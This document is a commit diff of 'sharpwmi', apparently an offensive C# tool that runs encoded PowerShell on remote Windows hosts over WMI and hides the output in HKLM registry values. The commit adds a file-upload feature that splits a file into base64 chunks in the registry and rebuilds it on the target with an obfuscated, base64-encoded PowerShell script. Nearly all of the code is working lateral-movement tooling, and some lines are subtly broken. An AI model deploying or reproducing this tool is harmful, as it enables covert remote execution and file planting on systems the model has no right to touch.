3
3
using System . Threading ;
4
4
using System . IO ;
5
5
using System . Management ;
6
+ using System . Collections . Generic ;
6
7
7
8
namespace sharpwmi
8
9
{
@@ -139,7 +140,7 @@ public void run(string[] args)
139
140
{
140
141
string powershell_command = "powershell -enc " + Base64Encode ( args [ 4 ] ) ;
141
142
142
- string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\ default | Where-Object {$_.Name -eq \" StdRegProv\" };$reg.SetStringValue(2147483650,\" \" ,\" txt \" ,$b)" ;
143
+ string code = "$a=(" + powershell_command + ");$b=[Convert]::ToBase64String([System.Text.UnicodeEncoding]::Unicode.GetBytes($a));$reg = Get-WmiObject -List -Namespace root\\ default | Where-Object {$_.Name -eq \" StdRegProv\" };$reg.SetStringValue(2147483650,\" \" ,\" ft_rcx \" ,$b)" ;
143
144
144
145
145
146
ExecCmd ( "powershell -enc " + Base64Encode ( code ) ) ;
@@ -152,36 +153,63 @@ public void run(string[] args)
152
153
ManagementBaseObject inParams = registry . GetMethodParameters ( "GetStringValue" ) ;
153
154
154
155
inParams [ "sSubKeyName" ] = "" ;
155
- inParams [ "sValueName" ] = "txt " ;
156
+ inParams [ "sValueName" ] = "ft_rcx " ;
156
157
ManagementBaseObject outParams = registry . InvokeMethod ( "GetStringValue" , inParams , null ) ;
157
158
// (String)outParams["sValue"];
158
159
159
- Console . WriteLine ( "[+]output -> \n \n " + Base64Decode ( outParams [ "sValue" ] . ToString ( ) ) ) ;
160
+ Console . WriteLine ( "[+]output -> \n " + Base64Decode ( outParams [ "sValue" ] . ToString ( ) ) ) ;
160
161
}
161
162
else if ( args [ 3 ] == "upload" )
162
163
{
163
164
164
-
165
-
166
165
//写注册表
167
166
byte [ ] str = File . ReadAllBytes ( args [ 4 ] ) ;
168
-
167
+ List < byte [ ] > pChunks = splitChunks ( str ) ;
169
168
170
169
ManagementClass registry = new ManagementClass ( this . scope , new ManagementPath ( "StdRegProv" ) , null ) ;
170
+
171
+ //写segment数量
171
172
ManagementBaseObject inParams = registry . GetMethodParameters ( "SetStringValue" ) ;
172
173
inParams [ "hDefKey" ] = 2147483650 ; //HKEY_LOCAL_MACHINE;
173
174
inParams [ "sSubKeyName" ] = @"" ;
174
- inParams [ "sValueName" ] = "upload" ;
175
-
176
- inParams [ "sValue" ] = Convert . ToBase64String ( str ) ;
175
+ inParams [ "sValueName" ] = "ft_segs" ;
176
+ inParams [ "sValue" ] = pChunks . Count ;
177
177
ManagementBaseObject outParams = registry . InvokeMethod ( "SetStringValue" , inParams , null ) ;
178
178
179
+ //写文件大小
180
+ ManagementBaseObject inParams2 = registry . GetMethodParameters ( "SetStringValue" ) ;
181
+ inParams [ "hDefKey" ] = 2147483650 ; //HKEY_LOCAL_MACHINE;
182
+ inParams [ "sSubKeyName" ] = @"" ;
183
+ inParams [ "sValueName" ] = "ft_size" ;
184
+ inParams [ "sValue" ] = str . Length ;
185
+ ManagementBaseObject outParams2 = registry . InvokeMethod ( "SetStringValue" , inParams , null ) ;
186
+
187
+ //写segment内容
188
+ int curChunk = 0 ;
189
+ foreach ( byte [ ] curData in pChunks )
190
+ {
191
+ ManagementBaseObject _inParams3 = registry . GetMethodParameters ( "SetStringValue" ) ;
192
+ _inParams3 [ "hDefKey" ] = 2147483650 ; //HKEY_LOCAL_MACHINE;
193
+ _inParams3 [ "sSubKeyName" ] = @"" ;
194
+ _inParams3 [ "sValueName" ] = "ft_p" + curChunk . ToString ( ) ;
195
+ _inParams3 [ "sValue" ] = Convert . ToBase64String ( curData ) ;
196
+ ManagementBaseObject _outParams3 = registry . InvokeMethod ( "SetStringValue" , _inParams3 , null ) ;
197
+ curChunk ++ ;
198
+ }
179
199
180
200
181
201
//通过注册表还原文件
182
- string pscode = string . Format ( "$wmi = [wmiclass]\" Root\\ default:stdRegProv\" ;$data=($wmi.GetStringValue(2147483650,\" \" ,\" upload\" )).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\" {0:s}\" ,$byteArray);;" , args [ 5 ] ) ;
202
+ //string pscode = string.Format("$wmi = [wmiclass]\"Root\\default:stdRegProv\";$data=($wmi.GetStringValue(2147483650,\"\",\"upload\")).sValue;$byteArray = [Convert]::FromBase64String($data);[io.file]::WriteAllBytes(\"{0:s}\",$byteArray);;", args[5]);
203
+ //string pscode = string.Format("$wmi=[wmiclass]\"Root\\default:stdRegProv\";$ftsegs=($wmi.GetStringValue(2147483650,\"\",\"ft_segs\")).sValue;$ftsize=($wmi.GetStringValue(2147483650,\"\",\"ft_size\")).sValue;$fbytes=New-Object Byte[] 0;for($sid=0;$sid-lt$ftsegs;$sid++){$sdata=($wmi.GetStringValue(2147483650,\"\",\"ft_p$sid\")).sValue;$fbytes+=[Convert]::FromBase64String($sdata);}[io.file]::WriteAllBytes(\"{0:s}\",$fbytes);", args[5]);
204
+ //TODO:文件合成完毕后删除相关注册表
205
+ string pscode = Encoding . UTF8 . GetString ( Convert . FromBase64String ( "JHdtaT1bd21pY2xhc3NdIlJvb3RcZGVmYXVsdDpzdGRSZWdQcm92IjskZnRzZWdzPSgkd21pLkdldF" +
206
+ "N0cmluZ1ZhbHVlKDIxNDc0ODM2NTAsIiIsImZ0X3NlZ3MiKSkuc1ZhbHVlOyRmdHNpemU9KCR3bWkuR2V0U3RyaW5nVmFsdWUoMjE0NzQ4MzY1MCwiIiwiZnRfc2l6ZSIpKS5zVmFsd" +
207
+ "WU7JGZieXRlcz1OZXctT2JqZWN0IEJ5dGVbXSAwO2Zvcigkc2lkPTA7JHNpZC1sdCRmdHNlZ3M7JHNpZCsrKXskc2RhdGE9KCR3bWkuR2V0U3RyaW5nVmFsdWUoMjE0NzQ4MzY1MCwi" +
208
+ "IiwiZnRfcCRzaWQiKSkuc1ZhbHVlOyRmYnl0ZXMrPVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkc2RhdGEpO31baW8uZmlsZV06OldyaXRlQWxsQnl0ZXMoIg==" ) )
209
+ + args [ 5 ] + Encoding . UTF8 . GetString ( Convert . FromBase64String ( "IiwkZmJ5dGVzKTs=" ) ) ;
183
210
string powershell_command = "powershell -enc " + Base64Encode ( pscode ) ;
184
211
212
+ //Console.WriteLine(pscode);
185
213
Thread . Sleep ( delay ) ;
186
214
ExecCmd ( powershell_command ) ;
187
215
Console . WriteLine ( "[+]Upload file done!" ) ;
@@ -199,5 +227,31 @@ static void Main(string[] args)
199
227
myWMICore . run ( args ) ;
200
228
201
229
}
230
+
231
+ static List < byte [ ] > splitChunks ( byte [ ] input )
232
+ {
233
+ List < byte [ ] > pChunks = new List < byte [ ] > ( ) ;
234
+ int curSize = 0 ;
235
+ int setSize = 262144 ;
236
+ byte [ ] curChunk = new byte [ setSize ] ;
237
+ for ( int ch = 0 ; ch < input . Length ; ch ++ )
238
+ {
239
+ if ( curSize >= setSize )
240
+ {
241
+ pChunks . Add ( curChunk ) ;
242
+ curSize = 0 ;
243
+ curChunk = new byte [ setSize ] ;
244
+ }
245
+ curChunk [ curSize ] = input [ ch ] ;
246
+ curSize += 1 ;
247
+
248
+ }
249
+
250
+ byte [ ] lastChunk = new byte [ curSize ] ;
251
+ Array . Copy ( curChunk , lastChunk , curSize ) ;
252
+ pChunks . Add ( lastChunk ) ;
253
+
254
+ return pChunks ;
255
+ }
202
256
}
203
- }
257
+ }
0 commit comments